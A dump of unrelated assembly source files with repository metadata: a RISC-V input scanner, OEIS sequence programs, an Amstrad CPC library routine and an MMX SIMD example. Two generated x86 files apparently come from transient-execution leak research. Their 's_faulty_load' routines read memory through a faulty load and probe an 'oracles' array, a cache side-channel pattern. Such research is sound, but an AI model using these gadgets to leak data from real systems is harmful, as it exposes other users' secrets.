6809b770d51f08f687acd8a2d58323008c1a8099
[ "MIT" ]
null
null
null
src/analyze_input.asm
iljakalistratov/Code39Encoder
6809b770d51f08f687acd8a2d58323008c1a8099
[ "MIT" ]
null
null
null
# Analyse Eingabe analyze_input: addi sp, sp, -4 sw ra,0(sp) add t0, zero , zero for.input.start: add t1, t0, a0 lb t2, 0(t1) li t3, NULL # Null-terminated string beq t2, t3, for.input.end li t3, NL # Input Dialog Syscall -> Einagbe endet mit NL beq t2, t3, for.input.end addi t0, t0, 1 jal zero, for.input.start for.input.end: la t1,string_length sw t0,0(t1) lw ra,0(sp) addi sp,sp,4 jalr zero, 0(ra)
23.375
88
0.500891
ba1017dfb6de51232c69aadec1f7dfa9358e216d
1,316
asm
Assembly
programs/oeis/186/A186776.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/186/A186776.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/186/A186776.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A186776: Stanley Sequence S(0,2). ; 0,2,3,5,9,11,12,14,27,29,30,32,36,38,39,41,81,83,84,86,90,92,93,95,108,110,111,113,117,119,120,122,243,245,246,248,252,254,255,257,270,272,273,275,279,281,282,284,324,326,327,329,333,335,336,338,351,353,354,356,360,362,363,365,729,731,732,734,738,740,741,743,756,758,759,761,765,767,768,770,810,812,813,815,819,821,822,824,837,839,840,842,846,848,849,851,972,974,975,977,981,983,984,986,999,1001,1002,1004,1008,1010,1011,1013,1053,1055,1056,1058,1062,1064,1065,1067,1080,1082,1083,1085,1089,1091,1092,1094,2187,2189,2190,2192,2196,2198,2199,2201,2214,2216,2217,2219,2223,2225,2226,2228,2268,2270,2271,2273,2277,2279,2280,2282,2295,2297,2298,2300,2304,2306,2307,2309,2430,2432,2433,2435,2439,2441,2442,2444,2457,2459,2460,2462,2466,2468,2469,2471,2511,2513,2514,2516,2520,2522,2523,2525,2538,2540,2541,2543,2547,2549,2550,2552,2916,2918,2919,2921,2925,2927,2928,2930,2943,2945,2946,2948,2952,2954,2955,2957,2997,2999,3000,3002,3006,3008,3009,3011,3024,3026,3027,3029,3033,3035,3036,3038,3159,3161,3162,3164,3168,3170,3171,3173,3186,3188,3189,3191,3195,3197,3198,3200,3240,3242,3243,3245,3249,3251,3252,3254,3267,3269 cal $0,191106 ; Increasing sequence generated by these rules: a(1)=1, and if x is in a then 3x-2 and 3x are in a. sub $0,1 add $1,$0 mod $1,3 add $1,$0 div $1,2
131.6
1,117
0.757599
ea3866a1ec5ae075d0842741ee84ce3fd2266ab7
1,394
asm
Assembly
libsrc/cpc/cpc_rsx_strcpy_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
libsrc/cpc/cpc_rsx_strcpy_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
libsrc/cpc/cpc_rsx_strcpy_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
; ; Amstrad CPC library ; creates a copy of a string in CPC format ; ; char __LIB__ __CALLEE__ *cpc_rsx_strcpy(char *dst, char *src); ; ; $Id: cpc_rsx_strcpy_callee.asm,v 1.4 2016-06-10 21:12:36 dom Exp $ ; SECTION code_clib PUBLIC cpc_rsx_strcpy_callee PUBLIC _cpc_rsx_strcpy_callee PUBLIC ASMDISP_CPC_RSX_STRCPY_CALLEE EXTERN strlen EXTERN malloc .cpc_rsx_strcpy_callee ._cpc_rsx_strcpy_callee pop hl pop de ex (sp),hl ex de,hl ; enter : hl = char *src ; de = char *dst ; exit : hl = char *dst .asmentry push de ; cpcstr push hl ; str ptr push de ; cpcstr ptr call strlen ld b,h ld c,l ld a,l ; str len pop hl ; cpcstr ptr ld (hl),a ; cpc_rsx_str begins with 1 byte for string length inc hl ld d,h ld e,l inc de inc de ; DE now points to cpc_rsx_str+3 ld (hl),e ; string location (cpc_rsx_str+1) inc hl ld (hl),d pop hl ; str ptr ldir ; copy string pop hl ; cpcstr ret DEFC ASMDISP_CPC_RSX_STRCPY_CALLEE = asmentry - cpc_rsx_strcpy_callee
22.852459
74
0.504304
6a29923f04bd638dcfb7ce6df88b03627c7eceac
1,123
asm
Assembly
programs/oeis/266/A266595.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/266/A266595.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/266/A266595.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A266595: Number of OFF (white) cells in the n-th iteration of the "Rule 37" elementary cellular automaton starting with a single ON (black) cell. ; 0,2,2,5,6,5,10,5,14,5,18,5,22,5,26,5,30,5,34,5,38,5,42,5,46,5,50,5,54,5,58,5,62,5,66,5,70,5,74,5,78,5,82,5,86,5,90,5,94,5,98,5,102,5,106,5,110,5,114,5,118,5,122,5,126,5,130,5,134,5,138,5,142,5,146,5,150,5,154,5,158,5,162,5,166,5,170,5,174,5,178,5,182,5,186,5,190,5,194,5,198,5,202,5,206,5,210,5,214,5,218,5,222,5,226,5,230,5,234,5,238,5,242,5,246,5,250,5,254,5,258,5,262,5,266,5,270,5,274,5,278,5,282,5,286,5,290,5,294,5,298,5,302,5,306,5,310,5,314,5,318,5,322,5,326,5,330,5,334,5,338,5,342,5,346,5,350,5,354,5,358,5,362,5,366,5,370,5,374,5,378,5,382,5,386,5,390,5,394,5,398,5,402,5,406,5,410,5,414,5,418,5,422,5,426,5,430,5,434,5,438,5,442,5,446,5,450,5,454,5,458,5,462,5,466,5,470,5,474,5,478,5,482,5,486,5,490,5,494,5 mul $0,3 mov $2,$0 lpb $0,1 sub $0,3 mov $4,4 mov $5,1 lpb $3,1 mov $1,3 add $1,$5 mov $3,$0 mov $5,$4 mov $6,$2 add $6,95 gcd $6,$1 sub $5,$6 mov $0,$5 add $1,8 lpe add $1,8 mov $3,3 lpe div $1,4
43.192308
722
0.615316
ebd072e7cf7375952c99a86db52a5b82e0c818e3
7,446
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_44.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_44.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_44.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1290a, %r9 nop nop nop cmp $3989, %r11 mov (%r9), %rcx nop nop sub $64682, %rsi lea addresses_WC_ht+0xed2a, %rcx and $39205, %rbp movw $0x6162, (%rcx) cmp %rcx, %rcx lea addresses_normal_ht+0x169aa, %rdi nop nop nop nop nop inc %r8 mov (%rdi), %esi nop nop xor %rsi, %rsi lea addresses_WC_ht+0x1c496, %rbp nop nop sub $55765, %r8 mov $0x6162636465666768, %rcx movq %rcx, %xmm5 vmovups %ymm5, (%rbp) nop nop nop xor $37969, %rcx lea addresses_D_ht+0xfb7a, %r8 nop nop nop sub %r9, %r9 mov (%r8), %ecx nop xor %rbp, %rbp lea addresses_UC_ht+0x1870a, %rsi and $1780, %rcx mov (%rsi), %rdi inc %r8 lea addresses_WT_ht+0x998a, %rsi lea addresses_normal_ht+0x382a, %rdi nop nop nop nop cmp %r12, %r12 mov $76, %rcx rep movsw nop nop nop nop cmp %rsi, %rsi lea addresses_WT_ht+0x1eb8a, %r11 nop nop nop sub $20370, %r12 mov (%r11), %r8w nop nop nop nop inc %rbp lea addresses_WT_ht+0xf58a, %rsi lea addresses_UC_ht+0x1eb8a, %rdi nop xor $23929, %rbp mov $69, %rcx rep movsw nop nop nop nop nop mfence lea addresses_D_ht+0xa882, %rsi lea addresses_normal_ht+0x16f8a, %rdi nop nop nop nop nop and $53865, %r11 mov $7, %rcx rep movsl nop nop nop xor %r9, %r9 lea addresses_WC_ht+0x1354a, %rsi lea addresses_A_ht+0xe98a, %rdi cmp $586, %rbp mov $99, %rcx rep movsl inc %rcx lea addresses_UC_ht+0x1b18a, %rdi nop nop nop nop nop xor $61304, %r8 vmovups (%rdi), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r9 add $51652, %rsi lea addresses_normal_ht+0x570a, %rbp nop and %r9, %r9 movw $0x6162, (%rbp) nop nop and %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %rax push %rbx push %rsi // Store lea addresses_WC+0x12b3e, %rsi nop nop nop dec %r10 movb $0x51, (%rsi) // Exception!!! nop nop mov (0), %r12 nop nop nop nop nop and $16914, %r11 // Faulty Load lea addresses_normal+0x1f98a, %r10 nop nop nop nop sub $45307, %rbx mov (%r10), %rsi lea oracles, %r10 and $0xff, %rsi shlq $12, %rsi mov (%r10,%rsi,1), %rsi pop %rsi pop %rbx pop %rax pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': True, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
34.313364
2,999
0.65646
88f5c11c8d1dbdc6322523632fb8b647f4cbd359
1,695
asm
Assembly
4.SIMD/SIMDBasicAddition.asm
KDahir247/X86AssemblyPratice
f2f2267f4979e5332c727e49a9b3fb958f366938
[ "MIT" ]
1
2021-02-15T00:44:26.000Z
2021-02-15T00:44:26.000Z
4.SIMD/SIMDBasicAddition.asm
KDahir247/X86AssemblyPratice
f2f2267f4979e5332c727e49a9b3fb958f366938
[ "MIT" ]
null
null
null
4.SIMD/SIMDBasicAddition.asm
KDahir247/X86AssemblyPratice
f2f2267f4979e5332c727e49a9b3fb958f366938
[ "MIT" ]
null
null
null
.model flat, c ;Implementation for this Assembly File ;extern "C" MmxVal MmxAdd(MmxVal a, MmxVal b) ;See below for the cpp file .code MmxAdd proc push ebp mov ebp, esp movq mm0, [ebp+ 8] ;mm0 = a movq mm1, [ebp + 16] ;mm1 = b paddb mm0, mm1 ;packed byte addition using wraparound. since im using an int8 as an example movd eax, mm0 ; move the first value from mm0 to eax note that mm0 register size is 64 but eax is 32 so it will store only half of mm0 ; ex. MM0 = 1A18161412100E0C ; EAX = 12100E0C pshufw mm2, mm0, 01001110b ; we shuffle mm0 and storing it to mm2 we are reversing each half of the register of mm0 movd edx, mm2 ;we are storing the first half of mm2 to edx ; ex. MM2 = 12100E0C1A181614 ; EDX = 1A181614 emms ;Clear the mmx register and set the value of the floating point tag word to empty. Reusing the mmx register without emptying will result in unexpected behaviour and slow performance pop ebp ; pop push register ret MmxAdd endp end ;#include <iostream> ;struct MmxVal ;{ ; __int8 i8[8]{}; //requires 64 bit for the mmx register to operate simd ; //8 * int8, 4 * int16, 2 * int32, 1 * int64, etc... ; ;}; ;extern "C" MmxVal MmxAdd(MmxVal a, MmxVal b); ; ;int main() ;{ ; ; MmxVal a{}, b{}; ; ; //You can change the values of a and b ; a.i8[0] = 1; b.i8[0] = 11; ; a.i8[1] = 2; b.i8[1] = 12; ; a.i8[2] = 3; b.i8[2] = 13; ; a.i8[3] = 4; b.i8[3] = 14; ; a.i8[4] = 5; b.i8[4] = 15; ; a.i8[5] = 6; b.i8[5] = 16; ; a.i8[6] = 7; b.i8[6] = 17; ; a.i8[7] = 8; b.i8[7] = 18; ; ; MmxVal c = MmxAdd(a, b); ; ; for (int i = 0; i < 8; i++) { ; printf("%4d + %4d = %4d \n", a.i8[i], b.i8[i], c.i8[i]); ; } ;}
25.298507
187
0.614749
a9917f2c8a1137804c7f49adcf5c3b07f222ef69
6,205
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_671.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_671.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_671.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r15 push %rax push %rcx push %rdi push %rsi lea addresses_WT_ht+0x139ce, %r10 nop nop inc %r12 mov (%r10), %r15 and %rax, %rax lea addresses_WT_ht+0x1680e, %rsi lea addresses_normal_ht+0xf3ce, %rdi nop nop nop nop and %r11, %r11 mov $6, %rcx rep movsq nop nop nop sub %rcx, %rcx lea addresses_normal_ht+0x1670e, %rsi lea addresses_WC_ht+0x1994e, %rdi and %r12, %r12 mov $84, %rcx rep movsb nop nop nop xor %rdi, %rdi lea addresses_A_ht+0xdf2e, %rax clflush (%rax) nop nop dec %rsi movb (%rax), %r10b nop nop nop nop nop sub $6641, %rsi lea addresses_normal_ht+0xbbce, %rcx nop dec %r15 mov $0x6162636465666768, %r12 movq %r12, %xmm1 vmovups %ymm1, (%rcx) inc %r10 lea addresses_WC_ht+0xa81e, %rdi nop nop nop nop nop inc %r15 mov (%rdi), %esi nop nop nop nop nop and $35592, %r12 lea addresses_normal_ht+0x9fce, %rdi nop nop nop xor $55607, %r11 movups (%rdi), %xmm3 vpextrq $0, %xmm3, %rcx nop nop nop add %rsi, %rsi pop %rsi pop %rdi pop %rcx pop %rax pop %r15 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r8 push %r9 push %rbx push %rsi // Store lea addresses_WT+0x5fce, %r10 nop add $20106, %rsi mov $0x5152535455565758, %r9 movq %r9, %xmm3 movups %xmm3, (%r10) nop nop inc %r10 // Store lea addresses_normal+0x130ce, %r12 nop nop nop nop and $64115, %r11 movl $0x51525354, (%r12) nop nop nop nop nop and $25141, %r10 // Faulty Load lea addresses_WT+0x5fce, %rsi nop nop nop sub %r11, %r11 mov (%rsi), %r9d lea oracles, %rbx and $0xff, %r9 shlq $12, %r9 mov (%rbx,%r9,1), %r9 pop %rsi pop %rbx pop %r9 pop %r8 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}, 'dst': {'same': True, 'congruent': 10, 'type': 'addresses_normal_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
36.934524
2,999
0.659307
7fd1908d47e500c2ecc441f4cbc6462feffd1466
1,054
asm
Assembly
src/part/music/load_resources.asm
c64scene-ar/c64demo
f659a4eade5c6c3b08cd0713abef2b61ef28f3ae
[ "CC0-1.0" ]
10
2015-05-17T18:04:06.000Z
2021-05-03T19:56:23.000Z
src/part/music/load_resources.asm
fmuttis/c64demo
f659a4eade5c6c3b08cd0713abef2b61ef28f3ae
[ "CC0-1.0" ]
8
2015-08-08T17:19:05.000Z
2015-08-10T10:44:36.000Z
src/part/music/load_resources.asm
c64scene-ar/c64demo
f659a4eade5c6c3b08cd0713abef2b61ef28f3ae
[ "CC0-1.0" ]
1
2015-05-15T20:10:13.000Z
2015-05-15T20:10:13.000Z
// load sid music //.var music = LoadSid("res/jeff_donald.sid") .var music = LoadSid("res/demo.sid") .pc = music.location "Music" .fill music.size, music.getData(i) .pc = $2000 - 2 "Bitmap Data" .var picture = LoadBinary("res/dcc.prg") .fill picture.getSize(), picture.get(i) //---------------------------------------------------------- // Print the music info while assembling .print "" .print "SID Data" .print "--------" .print "location=$"+toHexString(music.location) .print "init=$"+toHexString(music.init) .print "play=$"+toHexString(music.play) .print "songs="+music.songs .print "startSong="+music.startSong .print "size=$"+toHexString(music.size) .print "name="+music.name .print "author="+music.author .print "copyright="+music.copyright .print "" .print "Additional tech data" .print "--------------------" .print "header="+music.header .print "header version="+music.version .print "flags="+toBinaryString(music.flags) .print "speed="+toBinaryString(music.speed) .print "startpage="+music.startpage .print "pagelength="+music.pagelength
29.277778
60
0.659393
98c66a248a8f64b82db102f9d45591dbcd9ed0db
343
asm
Assembly
_maps/SLZ Circling Platform.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
9
2021-01-15T13:47:53.000Z
2022-01-17T15:33:55.000Z
_maps/SLZ Circling Platform.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
7
2021-01-14T02:18:48.000Z
2021-03-24T15:44:30.000Z
